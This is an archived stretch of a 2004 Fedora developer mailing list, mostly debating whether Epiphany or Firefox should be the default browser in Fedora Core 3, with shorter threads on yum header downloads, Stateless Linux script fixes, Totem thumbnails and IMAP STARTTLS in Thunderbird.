Subject: Default browser of FC3? In-Reply-To: <1097338389.15432.1.camel@nexus.verbum.private> (Colin Walters's message of "Sat, 09 Oct 2004 12:13:09 -0400") References: <1097328519.13577.84.camel@chip.laiskiainen.org> <41680B8E.1040102@homer.se> <1097338389.15432.1.camel@nexus.verbum.private> Message-ID: <87vfdida5v.fsf@londo.ultra.csn.tu-chemnitz.de> Colin Walters writes: >> Sounds strange. How would Epiphany work in Kde? > > The same as Firefox works in KDE? Unfortunatly, Gnome applications do not interact well with non-Gnome environments. E.g. to change fonts or colors you will have to execute 'gnome-settings-daemon'. But this application is very invasive and overrides ~/.Xmodmap and ~/.Xresources settings (without having a way to prevent this) so it is a good idea to avoid Gnome-applications outside of a Gnome-environment. On the other side, firefox is not very much affected by Gnome settings and it would be wise to decouple it completly (e.g. do not use the Gnome filedialog anymore, and do not link against gtk2 because this requires the Gnome fontsettings with the sideeffects mentioned above). Epiphany is much more worse regarding coupling: basic webbrowser setup like proxy configuration is a gnome thing, and afair there is no way to configure this from inside of epiphany. Enrico From buytenh at wantstofly.org Sun Oct 10 12:43:51 2004 From: buytenh at wantstofly.org (Lennert Buytenhek) Date: Sun, 10 Oct 2004 14:43:51 +0200 Subject: Broken dietlibc-signalhandling with recent FC2 kernel In-Reply-To: <87zn2udb6e.fsf@londo.ultra.csn.tu-chemnitz.de> References: <87zn2va7qk.fsf@londo.ultra.csn.tu-chemnitz.de> <1097389305.2788.2.camel@laptop.fenrus.com> <87zn2udb6e.fsf@londo.ultra.csn.tu-chemnitz.de> Message-ID: <20041010124351.GH27420@xi.wantstofly.org> On Sun, Oct 10, 2004 at 02:12:25PM +0200, Enrico Scholz wrote: > I do not think that execstack causes it, because: > > * the program was built with '-Wa,execstack -Wl,-z,execstack' > * it happens with 'setarch i386 ./a.out' and LD_ASSUME_KERNEL=2.2.5 also > * signalhandling with previous FC2 kernels was fine; only 2.8.1-1.521 > shows this broken behavior I saw exactly the same symptoms with qemu, and it turned out that it was trying to execute stuff off the heap. --L From veguilla at hpcf.upr.edu Sun Oct 10 12:46:23 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 08:46:23 -0400 Subject: Default browser of FC3? In-Reply-To: References: <1097400169.14283.53.camel@ricardo.veguilla.net> Message-ID: <1097412384.16243.54.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 14:33 +0200, Felipe Alfaro Solana wrote: > On Oct 10, 2004, at 11:22, Ricardo Veguilla wrote: > > > Gnome -> Epiphany > > KDE -> Kemelon (or the mozilla-based Konqueror) > > Windows -> Firefox > > MacOS -> Camino > > No... Mac OS X -> Firefox too (AFAIK, there's a native version for Mac > OS X, as well as a Thunderbird native one). > Ok, I know there is a native port/version of firefox for Mac OS, but Camino is designed to be "Mac OS complaint". Regards, -- Ricardo Veguilla From alan at redhat.com Sun Oct 10 13:53:20 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 10 Oct 2004 09:53:20 -0400 Subject: Default browser of FC3? In-Reply-To: <1097363472.7415.15.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> Message-ID: <20041010135320.GE8459@devserv.devel.redhat.com> On Sat, Oct 09, 2004 at 07:11:12PM -0400, Ricardo Veguilla wrote: > I don't want to turn this into a browser war, but why do people think > epiphany should not be the *default* browser? I mean, its not like its > going be the only browser, if I remember correctly, firefox is going to > be included in FC3 and galeon is available in many third party repos (if > it is not in Fedora Extras, then its should be, IMO). Firefox is included in FC3 (not by default which seems a mistamke to me personally). The gnome UI folks wanted epiphany as the default browser not everyone agrees with them From Nicolas.Mailhot at laPoste.net Sun Oct 10 14:00:59 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sun, 10 Oct 2004 16:00:59 +0200 Subject: Default browser of FC3? In-Reply-To: <87vfdida5v.fsf@londo.ultra.csn.tu-chemnitz.de> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <41680B8E.1040102@homer.se> <1097338389.15432.1.camel@nexus.verbum.private> <87vfdida5v.fsf@londo.ultra.csn.tu-chemnitz.de> Message-ID: <4169409B.4000901@laPoste.net> Enrico Scholz a ?crit : > On the other side, firefox is not very much affected by Gnome settings > and it would be wise to decouple it completly (e.g. do not use the Gnome > filedialog anymore, and do not link against gtk2 because this requires > the Gnome fontsettings with the sideeffects mentioned above). While decoupling may be better from a short-term workaround perspective it's very bad longterm-wise. We need apps to learn to couple effectively, redgardless of the DE and this won't be done by encouraging return to massive settings duplication we had before (and still have on the non-gnome world). I personnaly strongly feel the whole gconf adventure has strayed very far from it's original stated goals, and that on the whole gconf keys are rotting almost as fast as the worst dommsayers predicted they would. However the fact is I can not stand anymore apps that do not pick the general defaults (even if they provide numerous and convenient ways to set them again on a per-app basis). This btw includes most mz apps right now. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 254 bytes Desc: OpenPGP digital signature URL: From Nicolas.Mailhot at laPoste.net Sun Oct 10 14:03:20 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sun, 10 Oct 2004 16:03:20 +0200 Subject: Default browser of FC3? In-Reply-To: <20041010135320.GE8459@devserv.devel.redhat.com> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <20041010135320.GE8459@devserv.devel.redhat.com> Message-ID: <41694128.7020206@laPoste.net> Alan Cox a ?crit : > On Sat, Oct 09, 2004 at 07:11:12PM -0400, Ricardo Veguilla wrote: > >>I don't want to turn this into a browser war, but why do people think >>epiphany should not be the *default* browser? I mean, its not like its >>going be the only browser, if I remember correctly, firefox is going to >>be included in FC3 and galeon is available in many third party repos (if >>it is not in Fedora Extras, then its should be, IMO). > > > Firefox is included in FC3 (not by default which seems a mistamke to me > personally). The gnome UI folks wanted epiphany as the default browser > not everyone agrees with them Including the large part of the Gnome user base that still user one galeon version of another (and has been largely silent in this thread because they had their own anti-epiphany fest some months ago on the list) Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 254 bytes Desc: OpenPGP digital signature URL: From toshio at tiki-lounge.com Sun Oct 10 14:54:18 2004 From: toshio at tiki-lounge.com (Toshio) Date: Sun, 10 Oct 2004 10:54:18 -0400 Subject: Default browser of FC3? Message-ID: <1097420056.10212.5.camel@Madison.badger.com> On Sun, Oct 10, 2004 at 05:22:48AM -0400, Ricardo Veguilla wrote: > Ask any Camino developer why are they wasting their time developing a > mozilla-based browser for Mac instead of just using firefox and the > answer is probably going to be "because firefox doesn't fit with the Mac > philosophy". Firefox is pretty much a Windows app. > > In my opinion, the browser issue should be solved by desktop. > > Gnome -> Epiphany > KDE -> Kemelon (or the mozilla-based Konqueror) > Windows -> Firefox > MacOS -> Camino > Purely on the philosophy/integration front, I'd think Internet Explorer should be the best browser for Windows.... Which points to the fact that there are more important things to consider than philosophy and integration ;-) The fact that firefox and epiphany both use Mozilla under the hood means there's a lot less difference between the two than firefox and IE, though. My main question is: which browser will help a new user justify his choice to migrate from Windows? Does either browser lack necessary features from their MS counterpart? What features give them a clear advantage over IE? Someone switching from Windows is going to find a lot of things that are strange under Fedora whether or not its all consistent. The important thing is that they walk away thinking that the differences are better (enhance productivity, security, fun, etc....) I heard someone mention built-in popup blocking in Firefox. Is there equivalent functionality for Epiphany that we do/can ship? Any other features that one browser or the other has that people will miss when they have to use IE on Windows? -Toshio P.S. Every day I use Windows at work I find myself thinking if only I had grep or tabbed browsing or... right now this would be so much easier. I think that's a good sign for us. I think the more of those moments people have on Windows, the better :-) Conversely, I think we want to minimize those moments when a Windows user is running under Fedora. The web browser is one of the non-commandline applications where we can make this happen. -- _______S________U________B________L________I________M________E_______ t o s h i o + t i k i - l o u n g e . c o m GA->ME 1999 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From caillon at redhat.com Sun Oct 10 15:18:20 2004 From: caillon at redhat.com (Christopher Aillon) Date: Sun, 10 Oct 2004 11:18:20 -0400 Subject: Default browser of FC3? In-Reply-To: <1097420056.10212.5.camel@Madison.badger.com> References: <1097420056.10212.5.camel@Madison.badger.com> Message-ID: <416952BC.7090300@redhat.com> Toshio wrote: > I heard someone mention built-in popup blocking in Firefox. Is there > equivalent functionality for Epiphany that we do/can ship? Any other > features that one browser or the other has that people will miss when > they have to use IE on Windows? Epiphany has popup blocking. It's just disabled by default right now. From louisg00 at bellsouth.net Sun Oct 10 15:40:47 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Sun, 10 Oct 2004 11:40:47 -0400 Subject: No direct rendering with booting init 5 Message-ID: <1097422847.3760.2.camel@tiger> Ok, Bug 135209 has been added to the database. From skvidal at phy.duke.edu Sun Oct 10 16:26:20 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 10 Oct 2004 12:26:20 -0400 Subject: Yum .hdr files massive In-Reply-To: <1097410679.4605.23.camel@gibraltar.stuttgart.redhat.com> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <20041010135028.03f7243c@nausicaa.camperquake.de> <1097410679.4605.23.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1097425580.7749.11.camel@binkley> On Sun, 2004-10-10 at 14:17 +0200, Nils Philippsen wrote: > On Sun, 2004-10-10 at 13:50 +0200, Ralf Ertzinger wrote: > > Hi. > > > > Nils Philippsen wrote: > > > > > the connection when you've read the entire header. Still better than > > > downloading the whole thing. > > > > On the other hand, this is 2004. Everything claiming to be a HTTP server and > > not supporting this ought to be slugged though the processor core :) > > I'd say let's change what we are able to change. The software running > the mirrors is probably beyond our area of control ;-). > But it's not beyond the control of the users. -sv From skvidal at phy.duke.edu Sun Oct 10 16:26:55 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 10 Oct 2004 12:26:55 -0400 Subject: Yum .hdr files massive In-Reply-To: <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1097425615.7749.13.camel@binkley> On Sun, 2004-10-10 at 13:45 +0200, Nils Philippsen wrote: > On Sun, 2004-10-10 at 12:46 +0200, Ralf Ertzinger wrote: > > Hi. > > > > seth vidal wrote: > > > > > If you're not using a site that supports http 1.1 and byte-ranges then > > > yum will have to download the whole package. > > > > You're grabbing the headers out of the RPM files via byte ranges? > > Sweet idea. > > Though it would be even sweeter if byte-ranges fail you would start to > download the whole thing (or at least tell the server that) and break > the connection when you've read the entire header. Still better than > downloading the whole thing. > I welcome patches to do just that but you should coordinate with the urlgrabber authors. Thanks for volunteering! -sv From markmc at redhat.com Sun Oct 10 16:58:09 2004 From: markmc at redhat.com (Mark McLoughlin) Date: Sun, 10 Oct 2004 17:58:09 +0100 Subject: Stateless Linux: errors in scripts In-Reply-To: <4D20865315@tyto.vslib.cz> References: <4D20865315@tyto.vslib.cz> Message-ID: <1097427489.4725.21.camel@localhost.localdomain> Hi Petr, On Fri, 2004-10-08 at 13:21, Petr Kolar wrote: > Hello > > When trying to install diskless stations with Stateless Linux I discovered > the Python scripts from stateless-*0.20-1 (e.g. stateless-clients.py) have > errors in calls of getopt.getopt, so the scripts don't accept arguments of > long command-line options. Therefore users must find and use short option > names. > > I'm not familiar with Python, but it seems it is necessary to add > an `=' character to the end of every option with long name, which takes an > argument (e.g. "configuration=" and "snapshot=" in stateless-clients.py) in > getopt.getopt call to correct the scripts. Well spotted, thanks. I've committed the your fix to CVS. Dave Malcolm is going to post details later on how to get anoncvs access to the latest code. > My question: Where to set information about NFS location needed in > statelessGenPXEConfig.py? The base NFS path is store in the statelessServer LDAP object. See stateless-schema.txt for more details. To that base NFS path we append the configuration and snapshot names. So the example is: dn: cn=server1.company.com,dc=servers,dc=stateless,ou=services,$(LDAP_BASE_DN) objectClass: statelessServer cn: server1.company.com statelessNfsPath: /srv/stateless/snapshots and dn: statelessConfigurationName=artist-workstation,dc=stateless,ou=services,$(LDAP_BASE_DN) objectClass: statelessConfiguration statelessConfigurationName: artist-workstation statelessDefaultSnapshotName: artist-workstation-1 would mean that the NFS path used in the generated pxelinux configuration would be server1.company.com:/srv/stateless/snapshots/artist-workstation/artist-workstation-1 Thanks much, Mark. From fs111 at web.de Sun Oct 10 18:17:16 2004 From: fs111 at web.de (=?ISO-8859-1?Q?Andr=E9_Kelpe?=) Date: Sun, 10 Oct 2004 20:17:16 +0200 Subject: Default browser of FC3? In-Reply-To: <1097400169.14283.53.camel@ricardo.veguilla.net> References: <1097400169.14283.53.camel@ricardo.veguilla.net> Message-ID: <41697CAC.1000600@web.de> Ricardo Veguilla wrote: >In my opinion, the browser issue should be solved by desktop. > >Gnome -> Epiphany >KDE -> Kemelon (or the mozilla-based Konqueror) > > "kmeleon" is not a KDE app, it is a windows application: http://kmeleon.sourceforge.net/ The default Browser on KDE is the konqueror with khtml-rendering engine, the mozilla port for KDE is very new and not in the standard distribution ATM. Many KDE users prefer firefox and/or mozilla-seamonkey, because the are used to them. Andr? From foolish at fedoraforum.org Sun Oct 10 19:22:30 2004 From: foolish at fedoraforum.org (Sindre Pedersen Bjordal) Date: Sun, 10 Oct 2004 21:22:30 +0200 Subject: Default browser of FC3? In-Reply-To: <1097328519.13577.84.camel@chip.laiskiainen.org> References: <1097328519.13577.84.camel@chip.laiskiainen.org> Message-ID: <1097436150.3881.10.camel@localhost.localdomain> If the user has a preference, the user is capable of opening the "preferences" and change the settings. It's what's best for the users who doesn't have a preference that should be the default setting. I suggest someone do some simple and unofficial usability testing on browsers. If such tests exists, point me to the results. Is epiphany easier to use for the new computer user? Is it easier for the windows user? Personally I believe that epiphany is the better choice for default browser. It's simpler, it's integrated in the desktop environment and it has bookmarks that doesn't work like files. To most people, files and folders doesn't make sense anyway. Epiphany does have it's rough edges, but most of the issues people are having with epiphany is that it's not working like . If you want some other browser, that browser (in most cases) is available. Again, users with preferences are capable of selecting their preferences either during install or right after. The defaults should be directed at the users without preferences. l?r, 09,.10.2004 kl. 16.28 +0300, skrev Panu Matilainen: > Is FC3 really going to ship with Epiphany as the default browser? I mean > .. uh, there's this other, far more capable yet very user friendly > browser there called Firefox. Epiphany doesn't even let me arrange my > bookmarks the way I want them :( Not to mention utter lack of > configurability for things like allowing popups from certain sites etc. > > - Panu - > -- Sindre Pedersen Bjordal www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dette er en digitalt signert meldingsdel URL: From dmalcolm at redhat.com Sun Oct 10 19:27:14 2004 From: dmalcolm at redhat.com (Dave Malcolm) Date: Sun, 10 Oct 2004 15:27:14 -0400 Subject: Stateless Linux: errors in scripts In-Reply-To: <1097427489.4725.21.camel@localhost.localdomain> References: <4D20865315@tyto.vslib.cz> <1097427489.4725.21.camel@localhost.localdomain> Message-ID: <1097436435.3494.1.camel@localhost.localdomain> On Sun, 2004-10-10 at 17:58 +0100, Mark McLoughlin wrote: > Hi Petr, > > On Fri, 2004-10-08 at 13:21, Petr Kolar wrote: > > Hello > > > > When trying to install diskless stations with Stateless Linux I discovered > > the Python scripts from stateless-*0.20-1 (e.g. stateless-clients.py) have > > errors in calls of getopt.getopt, so the scripts don't accept arguments of > > long command-line options. Therefore users must find and use short option > > names. > > > > I'm not familiar with Python, but it seems it is necessary to add > > an `=' character to the end of every option with long name, which takes an > > argument (e.g. "configuration=" and "snapshot=" in stateless-clients.py) in > > getopt.getopt call to correct the scripts. > > Well spotted, thanks. I've committed the your fix to CVS. Dave Malcolm > is going to post details later on how to get anoncvs access to the > latest code. I've added instructions on CVS access to the project website here: http://fedora.redhat.com/projects/stateless/ > > > My question: Where to set information about NFS location needed in > > statelessGenPXEConfig.py? > > The base NFS path is store in the statelessServer LDAP object. See > stateless-schema.txt for more details. To that base NFS path we append > the configuration and snapshot names. > > So the example is: > > dn: cn=server1.company.com,dc=servers,dc=stateless,ou=services,$(LDAP_BASE_DN) > objectClass: statelessServer > cn: server1.company.com > statelessNfsPath: /srv/stateless/snapshots > > and > > dn: statelessConfigurationName=artist-workstation,dc=stateless,ou=services,$(LDAP_BASE_DN) > objectClass: statelessConfiguration > statelessConfigurationName: artist-workstation > statelessDefaultSnapshotName: artist-workstation-1 > > would mean that the NFS path used in the generated pxelinux > configuration would be > > server1.company.com:/srv/stateless/snapshots/artist-workstation/artist-workstation-1 > > Thanks much, > Mark. > From kyrre at solution-forge.net Sun Oct 10 19:33:56 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 10 Oct 2004 21:33:56 +0200 Subject: Default browser of FC3? (*HATE* windows!) (OT) In-Reply-To: <416952BC.7090300@redhat.com> References: <1097420056.10212.5.camel@Madison.badger.com> <416952BC.7090300@redhat.com> Message-ID: <1097430653.2749.66.camel@kyrre> s?n, 10.10.2004 kl. 17.18 skrev Christopher Aillon: > Toshio wrote: > > > I heard someone mention built-in popup blocking in Firefox. Is there > > equivalent functionality for Epiphany that we do/can ship? Any other > > features that one browser or the other has that people will miss when > > they have to use IE on Windows? > > Epiphany has popup blocking. It's just disabled by default right now. And it has no "select which printer things should come out from". Which reminds me of an recent episode with the windows printing system: I had borrowed an account (which i did not know the password of, and its owner was not here), and was using a speciality app which created result list from a race (etiming... Avoid it at all means. I think kernel hacking is easier than using that app... UGH!). What happens? Well, i hit print, and the nice old little hp inkjet hooked up to it began printing. Problem was, that that print was of the very-many-to-many-sheets-for-and-old-inkjet type. So, i hit "abort". Absolutely NOTHING happens. Hmm... what now? Pull the plug of the printer, and hope windows can cope. It could. Partially. At least now i could abort the job... Or not. When i switched on the little guy again, it started spewing out paper with one line of rubish on each. After troubling around with it for something like 20 minutes, i was finaly able to make it stop printing. Problem was: not only did i make THIS printer stop, i also completely b0rked the poor box'es printing system. Any job sent to the system, ended up at a random printer somewhere around the building, or in /dev/null... Only way to find out, was to check every #$@& printer, and hope nobody got there before me (these list wasn't official yet => a bit sensitive stuff...) Hmm... What did i do when my printer at home went borked under Linux? I did a /etc/init.d/cups restart, and it fixed it. Hmm... Maybe i can do that to windows to? Turns out i could. Manage -> services -> system-services -> printer subsystem -> restart. Print. Paper went to /dev/null no matter what i tried. ARGH! What then? Hmm... Aha! print it to a file, upload it to the linux-server and print it from there. Or not. The gui didn't have such a function... In everything, i used something like 50 minutes chasing that ?@$? print subsys. And reboot wouldn't be possible - i didn't really know the password... Lets only hope the reboot i did before i left on friday has had some effects. I NEED those prints... Kyrre From denisleroy at yahoo.com Sun Oct 10 19:51:41 2004 From: denisleroy at yahoo.com (Denis Leroy) Date: Sun, 10 Oct 2004 12:51:41 -0700 (PDT) Subject: Default browser of FC3? In-Reply-To: <1097436150.3881.10.camel@localhost.localdomain> Message-ID: <20041010195141.21456.qmail@web60701.mail.yahoo.com> --- Sindre Pedersen Bjordal wrote: > If the user has a preference, the user is capable of opening the > "preferences" and change the settings. It's what's best for the users > who doesn't have a preference that should be the default setting. > > I suggest someone do some simple and unofficial usability testing on > browsers. If such tests exists, point me to the results. Is epiphany > easier to use for the new computer user? Is it easier for the windows > user? > > Personally I believe that epiphany is the better choice for default > browser. It's simpler, it's integrated in the desktop environment and > it > has bookmarks that doesn't work like files. To most people, files and > folders doesn't make sense anyway. > > Epiphany does have it's rough edges, but most of the issues people > are > having with epiphany is that it's not working like random browser here>. If you want some other browser, that browser > (in > most cases) is available. > > Again, users with preferences are capable of selecting their > preferences > either during install or right after. The defaults should be directed > at > the users without preferences. I don't know. Isn't this a little bit like saying: it's ok to have mediocrity as default, you can always install brilliance later ? What's the point ? -denis From foolish at fedoraforum.org Sun Oct 10 20:12:03 2004 From: foolish at fedoraforum.org (Sindre Pedersen Bjordal) Date: Sun, 10 Oct 2004 22:12:03 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <20041006224700.GA18962@devel.mpeters.us> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> Message-ID: <1097439124.3881.13.camel@localhost.localdomain> I'm wondering, does the (possible) inclusion of totem mean that we'll be using the totem video thumbnailer for video thumbnails now? How will this be dealt with? For what it's worth, I think the totem video thumbnailer looks a lot better than the gnome default one. -- Sindre Pedersen Bjordal www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dette er en digitalt signert meldingsdel URL: From rbultje at ronald.bitfreak.net Sun Oct 10 21:22:22 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Sun, 10 Oct 2004 23:22:22 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097439124.3881.13.camel@localhost.localdomain> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> <1097439124.3881.13.camel@localhost.localdomain> Message-ID: <1097443341.2862.17.camel@tux.lan> On Sun, 2004-10-10 at 22:12, Sindre Pedersen Bjordal wrote: > I'm wondering, does the (possible) inclusion of totem mean that we'll be > using the totem video thumbnailer for video thumbnails now? How will > this be dealt with? Not the 0.99.17 one, the thumbnailer there doesn't work (wasn't implemented yet). Current CVS of Totem has a working thumbnailer for the GStreamer backend, though. Ronald -- Ronald S. Bultje From bclark at redhat.com Sun Oct 10 21:28:57 2004 From: bclark at redhat.com (Bryan Clark) Date: Sun, 10 Oct 2004 17:28:57 -0400 Subject: Default browser of FC3? (*HATE* windows!) (OT) In-Reply-To: <1097430653.2749.66.camel@kyrre> References: <1097420056.10212.5.camel@Madison.badger.com> <416952BC.7090300@redhat.com> <1097430653.2749.66.camel@kyrre> Message-ID: <1097443737.4333.4.camel@rhbw.boston.redhat.com> On Sun, 2004-10-10 at 21:33 +0200, Kyrre Ness Sjobak wrote: > s?n, 10.10.2004 kl. 17.18 skrev Christopher Aillon: > > Toshio wrote: > > > > > I heard someone mention built-in popup blocking in Firefox. Is there > > > equivalent functionality for Epiphany that we do/can ship? Any other > > > features that one browser or the other has that people will miss when > > > they have to use IE on Windows? > > > > Epiphany has popup blocking. It's just disabled by default right now. > > And it has no "select which printer things should come out from". Which > reminds me of an recent episode with the windows printing system: Subject: Multiple printers support -------------------------------------------------------------------- Hi, I committed support for multiple printers in cvs (both on the stable branch and on head). Now you can select the printer from a combo box. This should also allow to use the xprint backend when available (Debian for example). Test and bug reports would be very welcome. If no problems shows, tomorrow I'll probably release 1.4.4. Marco http://mail.gnome.org/archives/epiphany-list/2004-October/msg00016.html From nphilipp at redhat.com Sun Oct 10 21:47:28 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Sun, 10 Oct 2004 23:47:28 +0200 Subject: Yum .hdr files massive In-Reply-To: <1097425615.7749.13.camel@binkley> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> Message-ID: <1097444849.4605.29.camel@gibraltar.stuttgart.redhat.com> On Sun, 2004-10-10 at 12:26 -0400, seth vidal wrote: > On Sun, 2004-10-10 at 13:45 +0200, Nils Philippsen wrote: > > On Sun, 2004-10-10 at 12:46 +0200, Ralf Ertzinger wrote: > > > Hi. > > > > > > seth vidal wrote: > > > > > > > If you're not using a site that supports http 1.1 and byte-ranges then > > > > yum will have to download the whole package. > > > > > > You're grabbing the headers out of the RPM files via byte ranges? > > > Sweet idea. > > > > Though it would be even sweeter if byte-ranges fail you would start to > > download the whole thing (or at least tell the server that) and break > > the connection when you've read the entire header. Still better than > > downloading the whole thing. > > > > I welcome patches to do just that but you should coordinate with the > urlgrabber authors. And that are ...? [...] nils at gibraltar:~> rpm -qf /usr/lib/python2.3/site-packages/urlgrabber yum-2.1.6-1 [...] > Thanks for volunteering! I'll add that to the list of things I want to do when I have the time ;-P. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From skvidal at phy.duke.edu Sun Oct 10 21:50:01 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 10 Oct 2004 17:50:01 -0400 Subject: Yum .hdr files massive In-Reply-To: <1097444849.4605.29.camel@gibraltar.stuttgart.redhat.com> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> <1097444849.4605.29.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1097445001.7749.32.camel@binkley> > And that are ...? Go to the yum-devel list and you can meet them: https://lists.dulug.duke.edu/mailman/listinfo/yum-devel/ Michael Stenner and Ryan Tomayko. > I'll add that to the list of things I want to do when I have the time > ;-P. Join the club, then. -sv From veguilla at hpcf.upr.edu Sun Oct 10 23:06:58 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 19:06:58 -0400 Subject: Default browser of FC3? In-Reply-To: <20041010195141.21456.qmail@web60701.mail.yahoo.com> References: <20041010195141.21456.qmail@web60701.mail.yahoo.com> Message-ID: <1097449618.4193.4.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 12:51 -0700, Denis Leroy wrote: > --- Sindre Pedersen Bjordal wrote: > > If the user has a preference, the user is capable of opening the > > "preferences" and change the settings. It's what's best for the users > > who doesn't have a preference that should be the default setting. > > > > I suggest someone do some simple and unofficial usability testing on > > browsers. If such tests exists, point me to the results. Is epiphany > > easier to use for the new computer user? Is it easier for the windows > > user? > > > > Personally I believe that epiphany is the better choice for default > > browser. It's simpler, it's integrated in the desktop environment and > > it > > has bookmarks that doesn't work like files. To most people, files and > > folders doesn't make sense anyway. > > > > Epiphany does have it's rough edges, but most of the issues people > > are > > having with epiphany is that it's not working like > random browser here>. If you want some other browser, that browser > > (in > > most cases) is available. > > > > Again, users with preferences are capable of selecting their > > preferences > > either during install or right after. The defaults should be directed > > at > > the users without preferences. > > I don't know. Isn't this a little bit like saying: it's ok to have > mediocrity as default, you can always install brilliance later ? What's > the point ? Simplicity doesn't mean mediocrity. More features and choices don't mean brilliance. -- Ricardo Veguilla From veguilla at hpcf.upr.edu Sun Oct 10 23:39:49 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 19:39:49 -0400 Subject: Default browser of FC3? In-Reply-To: <41697CAC.1000600@web.de> References: <1097400169.14283.53.camel@ricardo.veguilla.net> <41697CAC.1000600@web.de> Message-ID: <1097451590.4193.19.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 20:17 +0200, Andr? Kelpe wrote: > Ricardo Veguilla wrote: > > >In my opinion, the browser issue should be solved by desktop. > > > >Gnome -> Epiphany > >KDE -> Kemelon (or the mozilla-based Konqueror) > > > > > "kmeleon" is not a KDE app, it is a windows application: > http://kmeleon.sourceforge.net/ The default Browser on KDE is the > konqueror with khtml-rendering engine, the mozilla port for KDE is very > new and not in the standard distribution ATM. Many KDE users prefer > firefox and/or mozilla-seamonkey, because the are used to them. Sorry about the confusion, I thought I remember reading about a gecko-based browser for KDE, and I assumed it was Kmeleon. And yes, I know which is the default browser for KDE, my point was that if you want to a browser based on Mozilla technology for your desktop, you don't have to use the Mozilla apps, especially when their design doesn't necessarily fit the desktop(s) philosophy. In other words, if I use Gnome, I want a gnome app for browsing (using Gecko), if I use KDE, I'll like a KDE app for browsing (using Gecko) etc... Then again: a) this is only relevant for defaults, since they are mostly used by new users. b) this is my opinion Regards, -- Ricardo Veguilla From pri.rhl3 at iadonisi.to Mon Oct 11 01:28:58 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 10 Oct 2004 21:28:58 -0400 Subject: thunderbird, IMAP, and STARTTLS Message-ID: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> This is probably an upstream problem, but I'm just putting my feelers out to see if I'm missing something, or thunderbird is missing something I consider absolutely essential. And that's what my subject states. Thunderbird (and Mozilla-Mail, for that matter) doesn't seem to support STARTTLS for IMAP. No, I'm not talking about IMAPS (port 993), but honest to goodness STARTTLS over port 143 like it should. So is it me, or is thunderbird really lacking in this area? -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From alexander.dalloz at uni-bielefeld.de Mon Oct 11 01:47:45 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Mon, 11 Oct 2004 03:47:45 +0200 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> Message-ID: <1097459265.10038.360.camel@serendipity.dogma.lan> Am Mo, den 11.10.2004 schrieb Paul Iadonisi um 3:28: > Thunderbird (and Mozilla-Mail, for that matter) doesn't seem to support > STARTTLS for IMAP. No, I'm not talking about IMAPS (port 993), but > honest to goodness STARTTLS over port 143 like it should. > So is it me, or is thunderbird really lacking in this area? > -Paul Iadonisi Which IMAP server offers IMAP/TLS on port 143? Alexander -- Alexander Dalloz | 